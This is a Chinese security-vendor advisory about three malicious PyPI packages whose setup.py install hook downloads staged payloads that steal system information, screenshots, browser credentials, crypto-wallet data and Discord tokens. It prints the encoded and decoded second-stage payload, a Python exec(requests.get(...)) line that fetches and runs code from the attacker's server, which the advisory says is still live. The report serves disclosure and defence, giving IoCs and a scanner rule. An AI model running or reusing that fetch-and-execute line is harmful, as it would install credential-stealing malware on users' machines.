安全情报 | Pypi再现窃密攻击投毒
概述
悬镜安全自研的开源组件投毒检测平台通过对主流开源软件仓库(包括Pypi、NPM、Ruby等)发布的组件包进行持续性监控和自动化代码安全分析,同时结合专家安全经验复审,能够及时发现组件包投毒事件并精确定位恶意代码片段,捕获潜在的供应链投毒攻击行为。
上周我们在Python官方仓库(Pypi)中发现多起新的恶意组件包投毒事件,值得注意的是,urllitelib、urtelib32、graphql32三个python恶意包由同一个攻击者在9月10~11号之间上传投放到Pypi仓库,在此期间攻击者连续迭代发布多个版本,这三个恶意包的代码和攻击行为具有极高相似度,其主要攻击行为是窃取受害者PC操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等),截至目前这些恶意Py包在官方仓库上已被下载近2000次(详细数据如下所示)。

(https://www.pepy.tech/projects/urllitelib)


目前这些投毒包已从官方仓库中下架,经悬镜供应链安全实验室确认,国内各大主流Pypi镜像源仍缓存这些恶意投毒包 ,对于使用国内镜像源的广大开发者来说依旧面临潜在的安全风险。悬镜安全提醒国内开发者们自行排查是否安装或引用以下Python恶意组件包。

投毒窃密分析
从09月10日开始,悬镜安全的开源组件投毒检测系统监测到投毒者(benjaminrodriguezshhh@proton.me)持续向官方Pypi仓库中投放urllitelib、urtelib32、graphql32等多个版本的恶意Py包,这些恶意包命中了检测引擎的安全风险规则,通过进一步对恶意包样本的人工分析后,确认这是一起有针对性的投毒攻击事件,投毒者的攻击对象是Windows操作系统用户,其主要攻击行为是窃取Windows操作系统、主流浏览器、社交软件以及区块链钱包软件的敏感数据。
投毒攻击流程
当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或者依赖引用恶意组件包时,将自动触发执行恶意安装包setup.py中的第一阶段攻击代码,第一阶段攻击代码将从远程服务器下载第二、三阶段的攻击载荷,经过解码后,第三阶段攻击载荷将成为最终的投毒攻击代码。
投毒包攻击流如下图所示:

恶意样本分析
以 urllitelib(1.2.0版本)为例:攻击者在组件包setup.py中设置自定义command类CustomInstall,当开发者执行pip install urllitelib安装组件包时将触发 CustomInstall.run()函数中的第一阶段攻击代码(如下图所示)。

远程下载攻击载荷
第一阶段的攻击代码首先将内置的恶意代码写入config.py文件后,进一步尝试使用管理员权限执行config.py,config.py将通过HTTP Auth认证的GET请求从远程服务器下载执行伪装成图片(http://wpp-api-01hw.onrender.com/api/images/1140884481671188581/image.png)的第二阶段攻击Payload,第二阶段Payload使用base64进行简单编码:
ZXhlYyhyZXF1ZXN0cy5nZXQoJ2h0dHA6Ly93cHAtYXBpLTAxaHcub25yZW5kZXIuY29tL2FwaS9zdGVhbC8xMTQwODg0NDgxNjcxMTg4NTgxLycsIGhlYWRlcnM9eydhdXRoJzogJyYmQ0QmJk9OJ30pLmpzb24oKVsnY29kZSddKQ
base64解码后,第二阶段攻击Payload真实内容如下:
b"exec(requests.get('http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/', headers={'auth': '&&CD&&ON'}).json()['code'])"
第三阶段的攻击Payload同样是通过HTTP Auth认证的GET请求从http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/下载后,再进行一轮base64解码,投毒包最终的攻击载荷如下所示:

通过分析投毒包远程载荷代码可明显发现其主要攻击逻辑包含有系统运行环境反调试、获取操作系统基本信息、窃取浏览器用户数据(密码,cookie,浏览记录等)、获取主流应用软件用户token、盗取区块链钱包敏感数据以及开机自启动等恶意行为。
反调试&虚拟机对抗
如下图所示,恶意代码具备比较基础的反调试和虚拟机对抗能力。恶意代码在执行数据窃密操作前,如果检测到系统中存在代码逆向、进程调试、进程监控、网络流量分析以及虚拟机服务等相关进程后会尝试杀死这些进程。此外,当检测到当前操作系统的主机名、网络IP、MAC地址如果命中内置的黑名单后,会删除自身代码,躲避检测。

获取系统敏感信息
恶意代码除了获取操作系统设备ID、主机名、用户名、网络IP、MAC等基础信息之外,还会对系统屏幕进行截屏。这些敏感数据最终都将发送到攻击者服务器上。

窃取浏览器用户数据
恶意代码还会尝试遍历主流浏览器的用户数据目录,窃取浏览器中存储的用户密码、cookie、信用卡、历史浏览记录等敏感数据。

盗取区块链钱包账户数据
恶意代码会遍历主流数字货币钱包(例如Exodus、Atomic Wallet.等)的数据目录,对钱包账户数据进行压缩打包后发送给攻击者服务器。

盗取Discord及主流浏览器token
此外,恶意代码还会搜索主流浏览器和Discord的用户数据目录,尝试从leveldb、sqlite3等本地数据库中挖掘出符合特定正则表达式的用户token数据。

IoC数据
此次投毒组件包涉及的恶意文件和恶意链接IoC数据如下所示:

总结
截止目前,投毒攻击者所使用的恶意代码载荷URL依然有效,虽然相关的投毒组件包已经从官方仓库Pypi上下架,但其依然存活于国内各大Pypi镜像源中,因此对于国内广大开发者来说仍需提供安全防范意识,除了自行排查现有Py安装包外,建议尽量使用官方Pypi仓库源。
排查方式
使用OpenSCA-cli,将以下内容保存为db.json文件,直接执行扫描命令(opensca-cli -db db.sjon -path${project_path}),即可快速获知您的项目是否受到投毒包影响。
[
{
"product": "urllitelib",
"version": "[1.0.0, 1.2.0]",
"language": "python",
"id": "XMIRROR-2023-70549",
"description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",
"release_date": "2023-09-18"
},
{
"product": "urtelib32",
"version": "[1.7.2, 1.8.1]",
"language": "python",
"id": "XMIRROR-2023-70550",
"description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",
"release_date": "2023-09-18"
},
{
"product": "graphql32",
"version": "[1.7.2, 1.8.4]",
"language": "python",
"id": "XMIRROR-2023-70551",
"description": "恶意组件包投毒, 可能会窃取 PC 操作系统中的敏感数据(包括系统基础信息、系统截屏、主流浏览器的密码cookie、区块链钱包以及Discord账户数据等)。",
"release_date": "2023-09-18"
}
]
悬镜安全也将持续监测和挖掘未知的开源组件安全风险,并及时对供应链投毒事件进行分析披露。
安全情报 | Pypi再现窃密攻击投毒的更多相关文章
- APT攻击:91%的攻击是利用电子邮件
一封假冒的"二代医疗保险补充保险费扣费说明",导致上万家中小型企业的资料被窃;一封伪装银行交易纪录的钓鱼信件,让韩国爆发史上最大黑客攻击. APT攻击通常会以电子邮件的形式出现,邮 ...
- Office高级威胁漏洞在野利用分析
高级威胁漏洞背景 在高级威胁攻击中,黑客远程投递入侵客户端最喜欢的漏洞是office文档漏洞,就在刚刚结束不久的黑帽子大会上,最佳客户端安全漏洞奖颁给了CVE-2017-0199漏洞,这个漏洞是时下o ...
- 【入门】广电行业DNS、DHCP解决方案详解(三)——DNS部署架构及案
[入门]广电行业DNS.DHCP解决方案详解(三)——DNS部署架构及案 DNS系统部署架构 宽带业务DNS架构 互动业务DNS架构 案例介绍 案例一 案例二 本篇我们将先介绍DNS系统部署架构体系, ...
- 转载--C++的反思
转载自http://blog.csdn.net/yapian8/article/details/46983319 最近两年 C++又有很多人出来追捧,并且追捧者充满了各种优越感,似乎不写 C++你就一 ...
- 基于知识图谱的APT组织追踪治理
高级持续性威胁(APT)正日益成为针对政府和企业重要资产的不可忽视的网络空间重大威胁.由于APT攻击往往具有明确的攻击意图,并且其攻击手段具备极高的隐蔽性和潜伏性,传统的网络检测手段通常无法有效对其进 ...
- 注意!你的 Navicat 可能被下毒了...
大家早上好,我是程序猿DD! 刚刚看到一份来自微步在线发布的威胁情报通报,其中提到了被我们广泛应用的数据库管理工具Navicat Premium被投毒消息!如果你有用过相关版本的话,可能当前正处于数据 ...
- 常见的DNS攻击——偷(劫持)、骗(缓存投毒)、打(DDos)
常见的DNS攻击包括: 1) 域名劫持 通过采用黑客手段控制了域名管理密码和域名管理邮箱,然后将该域名的NS纪录指向到黑客可以控制的DNS服务器,然后通过在该DNS服务器上添加相应域名纪录,从而使网民 ...
- ARP投毒攻击
原理:通过分别伪装成客户机和服务器IP,将自己的MAC地址绑定在IP上,ARP错误的将IP解析为中间人MAC地址,从而来欺骗服务器网关和客户机,使信息必须通过客户机.
- 前端学HTTP之web攻击技术
前面的话 简单的HTTP协议本身并不存在安全性问题,因此协议本身几乎不会成为攻击的对象.应用HTTP协议的服务器和客户端,以及运行在服务器上的Web应用等资源才是攻击目标.本文将详细介绍攻击web站点 ...
- Dark Mobile Bank之移动银行应用仿冒攻击威胁分析报告
一.背景 据“第十五次全国信息网络安全状况暨计算机和移动终端病毒疫情调查”调查结果显示,2015年移动终端的病毒感染比例为50.46%,相对于2014年增长了18.96%,移动终端病毒感染率涨幅较大, ...
随机推荐
- 每日总结|9.21-Hive搭建及报错解决方案
搭建 安装hive 把 apache-hive-3.1.2-bin.tar.gz 上传到 linux 的/opt/software 目录下 解压 apache-hive-3.1.2-bin.tar.g ...
- AtCoder_abc328
A - Not Too Hard 题目链接 题目大意 给出\(N\)个数(\(S_1\) \(S_2\)...\(S_n\))和一个\(X\),输出所有小于等于\(X\)的\(S_i\)之和 解题思路 ...
- STM32外设:信号转换器 ADC、DAC
主要外设: ADC:Analog to Digital Converter 模数转换器 DAC:Digital to Analog Converter 数模转换器 ADC_IN` 主要功能:测外部引脚 ...
- 使用Python合并多个Excel文件
合并Excel可以将多个文件中的数据合并到一个文件中,这样可以帮助我们更好地汇总和管理数据.日常工作中,合并Excel主要有以下两种需求: 将多个Excel文件合并为一个文件 将多个Excel工作表合 ...
- 火山引擎ByteHouse基于云原生架构的实时导入探索与实践
更多技术交流.求职机会,欢迎关注字节跳动数据平台微信公众号,回复[1]进入官方交流群 随着企业降本增效.智能化数据决策需求的增强,传统的商业数据库已经难以满足和响应快速增长的业务诉求.在此背景下,云原 ...
- 华企盾DSC导入离线客户端没有获取到信息
安装客户端的时候禁用了网卡,导致导入离线客户端获取不到信息. 解决方法: 1.启用网卡,重启电脑 2.启用网卡,重装客户端
- MyBatisPlus配置类-配置分页插件,注册为bean对象
import com.baomidou.mybatisplus.extension.plugins.PaginationInterceptor; import org.mybatis.spring.a ...
- 云MSP服务案例|互联网商城的上云改造之旅
简介: 在中国,经过十年的发展,云计算产业已走过概念普及的1.0时期,进入"上云"和落地的2. 0阶段,企业上云意识不断增强,越来越多的企业选择部署多云和混合IT. 如今,云计算生 ...
- CTFHub XSS DOM反射 WriteUp
前言:本文需要注册一个xss平台,以接收xss反弹回来的数据,请自己在互联网上寻找合适的xss平台 1. 构造闭合语句 根据题目提示,判断网站存在DOM xss漏洞 查看页面源代码,发现关键位置,其中 ...
- Llama2-Chinese项目:5-推理加速
随着大模型参数规模的不断增长,在有限的算力资源下,提升模型的推理速度逐渐变为一个重要的研究方向.常用的推理加速框架包含lmdeploy.FasterTransformer和vLLM等. 一.lmd ...